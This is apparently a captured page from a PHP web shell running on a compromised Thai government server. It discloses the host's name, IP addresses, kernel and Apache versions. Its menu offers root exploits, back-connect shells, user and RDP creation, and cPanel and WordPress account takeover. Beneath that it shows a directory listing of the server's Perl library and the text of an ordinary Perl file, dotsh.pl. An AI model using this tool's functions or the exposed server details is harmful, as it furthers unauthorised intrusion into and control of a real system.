Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
CPANPLUS
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.53
KB
-rw-r--r--
AutoLoader.pm
14.65
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.86
KB
-rw-r--r--
CGI.pm
255.35
KB
-rw-r--r--
CORE.pod
1.53
KB
-rw-r--r--
CPAN.pm
127.84
KB
-rw-r--r--
CPANPLUS.pm
7.1
KB
-rw-r--r--
Carp.pm
7.43
KB
-rw-r--r--
DB.pm
18.75
KB
-rw-r--r--
DBM_Filter.pm
14.08
KB
-rw-r--r--
Digest.pm
10.17
KB
-rw-r--r--
DirHandle.pm
1.89
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.38
KB
-rw-r--r--
Env.pm
5.05
KB
-rw-r--r--
Error.pm
23.55
KB
-rw-r--r--
Exporter.pm
18.16
KB
-rw-r--r--
Fatal.pm
40.01
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
5.53
KB
-rw-r--r--
Memoize.pm
34.47
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.86
KB
-rw-r--r--
Safe.pm
23.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.93
KB
-rw-r--r--
Shell.pm
8.48
KB
-rw-r--r--
Switch.pm
27.84
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.38
KB
-rw-r--r--
URI.pm
30.44
KB
-rw-r--r--
abbrev.pl
838
B
-rw-r--r--
assert.pl
1.27
KB
-rw-r--r--
attributes.pm
14.53
KB
-rw-r--r--
autodie.pm
11.49
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.82
KB
-rw-r--r--
bigfloat.pl
7.2
KB
-rw-r--r--
bigint.pl
8.75
KB
-rw-r--r--
bigint.pm
17.43
KB
-rw-r--r--
bignum.pm
18.24
KB
-rw-r--r--
bigrat.pl
4.37
KB
-rw-r--r--
bigrat.pm
14.1
KB
-rw-r--r--
blib.pm
2.06
KB
-rw-r--r--
bytes.pm
2.33
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
cacheout.pl
1.1
KB
-rw-r--r--
charnames.pm
15.3
KB
-rw-r--r--
complete.pl
3.12
KB
-rw-r--r--
constant.pm
12.23
KB
-rw-r--r--
ctime.pl
1.95
KB
-rw-r--r--
diagnostics.pm
16.97
KB
-rw-r--r--
dotsh.pl
2.12
KB
-rw-r--r--
dumpvar.pl
14.92
KB
-rw-r--r--
exceptions.pl
1.7
KB
-rw-r--r--
fastcwd.pl
1019
B
-rw-r--r--
feature.pm
4.97
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
find.pl
1.16
KB
-rw-r--r--
finddepth.pl
1.1
KB
-rw-r--r--
flush.pl
642
B
-rw-r--r--
getcwd.pl
1.39
KB
-rw-r--r--
getopt.pl
1.29
KB
-rw-r--r--
getopts.pl
1.37
KB
-rw-r--r--
hostname.pl
727
B
-rw-r--r--
if.pm
1.14
KB
-rw-r--r--
importenv.pl
283
B
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.01
KB
-rw-r--r--
locale.pm
820
B
-rw-r--r--
look.pl
1.23
KB
-rw-r--r--
newgetopt.pl
2.16
KB
-rw-r--r--
open.pm
7.56
KB
-rw-r--r--
open2.pl
185
B
-rw-r--r--
open3.pl
185
B
-rw-r--r--
overload.pm
46.92
KB
-rw-r--r--
overloading.pm
1.76
KB
-rw-r--r--
parent.pm
2.93
KB
-rw-r--r--
perl5db.pl
310.24
KB
-rw-r--r--
pwd.pl
1.44
KB
-rw-r--r--
shellwords.pl
276
B
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
stat.pl
590
B
-rw-r--r--
strict.pm
3.63
KB
-rw-r--r--
subs.pm
842
B
-rw-r--r--
syslog.pl
4.69
KB
-rw-r--r--
tainted.pl
164
B
-rw-r--r--
termcap.pl
4.02
KB
-rw-r--r--
timelocal.pl
690
B
-rw-r--r--
utf8.pm
6.76
KB
-rw-r--r--
utf8_heavy.pl
7.81
KB
-rw-r--r--
validate.pl
3.64
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
version.pm
1.01
KB
-rw-r--r--
version.pod
12.03
KB
-rw-r--r--
vmsish.pm
4.23
KB
-rw-r--r--
warnings.pm
15.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dotsh.pl
# # @(#)dotsh.pl 03/19/94 # # This library is no longer being maintained, and is included for backward # compatibility with Perl 4 programs which may require it. # # In particular, this should not be used as an example of modern Perl # programming techniques. # # # Author: Charles Collins # # Description: # This routine takes a shell script and 'dots' it into the current perl # environment. This makes it possible to use existing system scripts # to alter environment variables on the fly. # # Usage: # &dotsh ('ShellScript', 'DependentVariable(s)'); # # where # # 'ShellScript' is the full name of the shell script to be dotted # # 'DependentVariable(s)' is an optional list of shell variables in the # form VARIABLE=VALUE,VARIABLE=VALUE,... that 'ShellScript' is # dependent upon. These variables MUST be defined using shell syntax. # # Example: # &dotsh ('/foo/bar', 'arg1'); # &dotsh ('/foo/bar'); # &dotsh ('/foo/bar arg1 ... argN'); # sub dotsh { local(@sh) = @_; local($tmp,$key,$shell,$command,$args,$vars) = ''; local(*dotsh); undef *dotsh; $dotsh = shift(@sh); @dotsh = split (/\s/, $dotsh); $command = shift (@dotsh); $args = join (" ", @dotsh); $vars = join ("\n", @sh); open (_SH_ENV, "$command") || die "Could not open $dotsh!\n"; chop($_ = <_SH_ENV>); $shell = "$1 -c" if ($_ =~ /^\#\!\s*(\S+(\/sh|\/ksh|\/zsh|\/csh))\s*$/); close (_SH_ENV); if (!$shell) { if ($ENV{'SHELL'} =~ /\/sh$|\/ksh$|\/zsh$|\/bash$|\/csh$/) { $shell = "$ENV{'SHELL'} -c"; } else { print "SHELL not recognized!\nUsing /bin/sh...\n"; $shell = "/bin/sh -c"; } } if (length($vars) > 0) { open (_SH_ENV, "$shell \"$vars && . $command $args && set \" |") || die; } else { open (_SH_ENV, "$shell \". $command $args && set \" |") || die; } while (<_SH_ENV>) { chop; m/^([^=]*)=(.*)/s; $ENV{$1} = $2; } close (_SH_ENV); foreach $key (keys(%ENV)) { $tmp .= "\$$key = \$ENV{'$key'};" if $key =~ /^[A-Za-z]\w*$/; } eval $tmp; } 1;
Close
